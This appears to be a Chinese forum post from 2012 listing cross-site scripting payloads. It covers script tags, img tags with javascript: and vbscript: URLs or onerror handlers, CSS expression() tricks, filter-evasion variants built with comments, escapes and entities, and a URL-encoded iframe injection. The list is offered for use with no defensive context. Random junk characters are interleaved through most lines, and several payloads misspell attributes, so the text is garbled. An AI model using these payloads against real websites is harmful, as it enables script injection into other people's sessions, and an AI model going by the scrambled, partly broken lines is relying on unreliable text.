<script>alert("跨站")</script> (最常用）
" {% T. x1 X2 D" \/ ^7 r K# G<img scr=javascript:alert("跨站")></img>
5 t, Z, T% V6 ?6 }( F% D<img scr="javascript: alert(/跨站/)></img>. l* L) j9 @+ F$ P$ e
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
6 @4 J& C( `6 M4 d<img scr="#" onerror=alert(/跨站/)></img>' l- L, c- _9 \. d9 N
<img scr="#" style="xss:expression(alert(/xss/));"></img>$ \" c, v( l1 n. x
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
' D; K/ H% V8 G4 N# W% J8 O3 \. v9 R<img src=vbscript:msgbox ("xss")></img>) W* P1 n. b. J( I/ J
<style> input {left:expression (alert('xss'))}</style>6 Y1 d* r8 k& S: u
<div style={left:expression (alert('xss'))}></div>
3 n9 B- `1 u! e<div style={left:exp/* */ression (alert('xss'))}></div>' l! j7 T) Q% a6 a( p" L
<div style={left:\0065\0078ression (alert('xss'))}></div>' ~8 ~/ Z1 z0 L0 c$ i
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>- Q' P1 ?7 S, ^8 v+ @. F
unicode <div style="{left:expRessioN (alert('xss'))}">/ I6 Q6 ~1 f# x& e# {2 j" |! q" T$ z
3 m* V) o& P, v4 T+ D
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
, G* M; ?' [, z |
发表于 2012-9-15 14:09:13
收藏
支持
反对